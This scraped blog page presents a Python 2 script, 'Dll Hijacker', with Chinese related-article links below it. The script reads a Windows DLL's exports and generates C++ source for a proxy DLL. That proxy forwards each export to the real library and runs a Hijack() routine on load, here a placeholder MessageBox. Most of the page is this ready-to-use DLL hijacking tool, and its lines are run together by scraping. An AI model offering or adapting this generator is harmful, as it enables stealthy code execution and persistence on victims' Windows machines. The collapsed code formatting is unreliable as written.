Dll Hijacker
#coding=utf-8
#
# Dll Hijacker
#
# platform: Python 2.x @ Windows
#
# author:Coca1ne import os,sys,time
import pefile def main():
try:
pe = pefile.PE(sys.argv[1])
exportTable = pe.DIRECTORY_ENTRY_EXPORT.symbols
print "[!]Find export function :[ %d ]\r\n" % len(exportTable)
for exptab in exportTable:
print "%3s %10s" % (exptab.ordinal, exptab.name)
print "\r\n[+] generating DLL Hijack cpp file ..." generate(exportTable) print "\r\n[+] generating DLL Hijack cpp file has finished!"
except Exception, e:
print e def generate(exportTable):
segments = r"//Generate by DLLHijacker.py\
\
#include <Windows.h>\
\
DEFINE_DLL_EXPORT_FUNC\
#define EXTERNC extern \"C\"\
#define NAKED __declspec(naked)\
#define EXPORT __declspec(dllexport)\
#define ALCPP EXPORT NAKED\
#define ALSTD EXTERNC EXPORT NAKED void __stdcall\
#define ALCFAST EXTERNC EXPORT NAKED void __fastcall\
#define ALCDECL EXTERNC NAKED void __cdecl\
\
namespace DLLHijacker\
{\
HMODULE m_hModule = NULL;\
DWORD m_dwReturn[17] = {0};\
inline BOOL WINAPI Load()\
{\
TCHAR tzPath[MAX_PATH];\
lstrcpy(tzPath, TEXT(\"DLL_FILENAME.dll\"));\
m_hModule = LoadLibrary(tzPath);\
if (m_hModule == NULL)\
return FALSE;\
return (m_hModule != NULL);\
}\
inline VOID WINAPI Free()\
{\
if (m_hModule)\
FreeLibrary(m_hModule);\
}\
FARPROC WINAPI GetAddress(PCSTR pszProcName)\
{\
FARPROC fpAddress;\
CHAR szProcName[16];\
fpAddress = GetProcAddress(m_hModule, pszProcName);\
if (fpAddress == NULL)\
{\
if (HIWORD(pszProcName) == 0)\
{\
wsprintf(szProcName, \"%d\", pszProcName);\
pszProcName = szProcName;\
}\
ExitProcess(-2);\
}\
return fpAddress;\
}\
}\
using namespace DLLHijacker;\
VOID Hijack()\
{\
MessageBoxW(NULL, L\"DLL Hijack! by DLLHijacker\", L\":)\", 0);\
}\
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)\
{\
if (dwReason == DLL_PROCESS_ATTACH)\
{\
DisableThreadLibraryCalls(hModule);\
if(Load())\
Hijack();\
}\
else if (dwReason == DLL_PROCESS_DETACH)\
{\
Free();\
}\
return TRUE;\
}\
"
filename = sys.argv[1][sys.argv[1].rindex('\\')+1:sys.argv[1].rindex('.')]
fp = open(filename + ".cpp", "w+")
define_dll_exp_func = ""
for exptable in exportTable:
define_dll_exp_func += r"#pragma comment(linker, \"/EXPORT:" + str(exptable.name) +\
"=_DLLHijacker_" + str(exptable.name) + ",@"+ str(exptable.ordinal) +"\")\n"
segments = segments.replace('DLL_FILENAME', filename)
segments = segments.replace("DEFINE_DLL_EXPORT_FUNC", define_dll_exp_func).replace('\\','')
fp.writelines(segments) forward_dll_exp_func = ""
for exptable in exportTable:
forward_dll_exp_func += "ALCDECL DLLHijacker_"+ str(exptable.name) +"(void)\n{" + \
"\n __asm POP m_dwReturn[0 * TYPE long];\n GetAddress(\""+ \
str(exptable.name) + "\")();\n __asm JMP m_dwReturn[0 * TYPE long];\n}\r\n"
fp.writelines(forward_dll_exp_func)
fp.close() def usage():
print "Usage:"
print " %s c:\\windows\\system32\\msimg32.dll" % sys.argv[0] if __name__ == "__main__":
if(len(sys.argv) <2):
usage()
else:
main()
Dll Hijacker的更多相关文章
- 使用powershell提权的一些技巧
原文:http://fuzzysecurity.com/tutorials/16.html 翻译:http://www.myexception.cn/windows/1752546.html http ...
- metasploit--exploit模块信息
Name Disclosure Date Rank Description ---- ...
- Kali linux 2016.2(Rolling)中的Exploits模块详解
简单来将,这个Exploits模块,就是针对不同的已知漏洞的利用程序. root@kali:~# msfconsole Unable to handle kernel NULL pointer der ...
- dll文件32位64位检测工具以及Windows文件夹SysWow64的坑
自从操作系统升级到64位以后,就要不断的需要面对32位.64位的问题.相信有很多人并不是很清楚32位程序与64位程序的区别,以及Program Files (x86),Program Files的区别 ...
- C#创建dll类库
类库让我们的代码可复用,我们只需要在类库中声明变量一次,就能在接下来的过程中无数次地使用,而无需在每次使用前都要声明它.这样一来,就节省了我们的内存空间.而想要在类库添加什么类,还需取决于类库要实现哪 ...
- 关于Linux和Windows下部署mysql.data.dll的注册问题
mysql ado.net connector下载地址: http://dev.mysql.com/downloads/connector/net/ 选择版本: Generally Available ...
- Windows平台Go调用DLL的坑
最近的项目中,使用了GO来开发一些服务中转程序.业务比较简单,但是有一些业务需要复用原有C++开发的代码.而在WINDOWS,用CGO方式来集成C/C++代码并不是太方便.所以用DLL把C++的代码封 ...
- C#开发奇技淫巧三:把dll放在不同的目录让你的程序更整洁
系列文章 C#开发奇技淫巧一:调试windows系统服务 C#开发奇技淫巧二:根据dll文件加载C++或者Delphi插件 C#开发奇技淫巧三:把dll放在不同的目录让你的程序更整洁 程序目录的整理 ...
- .Net使用Newtonsoft.Json.dll(JSON.NET)对象序列化成json、反序列化json示例教程
JSON作为一种轻量级的数据交换格式,简单灵活,被很多系统用来数据交互,作为一名.NET开发人员,JSON.NET无疑是最好的序列化框架,支持XML和JSON序列化,高性能,免费开源,支持LINQ查询 ...
随机推荐
- 利用Octopress在Github上搭建博客及后续问题总汇
首先贴一下我的新博客地址: http://findingsea.github.io 用Octopress在GitHub上搭建博客已经不是什么新鲜事了,网上的教程也多了去了,大题的方法什么都差不多,这篇 ...
- nodejs 异步编程 教程(推荐)
有异步I/O就需要异步编程.本课程将着重讲解在学习node.js中关于异步编程的一些问题,以及如何应对这些问题,帮助node.js初学者快速入门. 地址 http://www.hubwiz.com/c ...
- su 与 su - 区别
su与su -都是用来切换用户的命令,简单说它们之间的区别就是:su -切换的干净彻底,而su 切换用户却拖泥带水. su su username,切换到指定用户,但是当前目录不会变化,环境变量还是上 ...
- PAT 1140 Look-and-say Sequence [比较]
1140 Look-and-say Sequence (20 分) Look-and-say sequence is a sequence of integers as the following: ...
- css 自定义滚动条
我遇到的场景: 对于iframe窗口,自带滚动条是整个窗口的大小.有时需要顶部或底部固定,则滚动条不应该触碰到顶部或底部. 那么首先打开iframe时应该去掉滚动条 scrolling="n ...
- ORM到底是用还是不用?(复制)
ORM即Object/Relation Mapping的简写,一般称作“对象关系映射”,在Web开发中最常出没于和关系型数据库交互的地方.接口.中间件.库.包,你都可以这么称呼它.ORM我们可以结合P ...
- HDU - 5909 Tree Cutting (树形dp+FWT优化)
题意:树上每个节点有权值,定义一棵树的权值为所有节点权值异或的值.求一棵树中,连通子树值为[0,m)的个数. 分析: 设\(dp[i][j]\)为根为i,值为j的子树的个数. 则\(dp[i][j\o ...
- ACM-ICPC 2018 沈阳赛区网络预赛 F. Fantastic Graph (上下界网络流)
正解: #include <bits/stdc++.h> using namespace std; const int INF = 0x3f3f3f3f; const int MAXN=1 ...
- Submine Text 快捷键
Ctrl+Shift+P:打开命令面板 Ctrl+P:搜索项目中的文件 Ctrl+G:跳转到第几行 Ctrl+W:关闭当前打开文件 Ctrl+Shift+W:关闭所有打开文件 Ctrl+Shift+V ...
- 20145316《Java程序设计》实验一:Java开发环境的熟悉(Windows + IDEA)
20145316<Java程序设计>实验一:Java开发环境的熟悉(Windows + IDEA) 一.DOC命令行下Java程序开发 1.打开cmd,输入 mkdir 20145316命 ...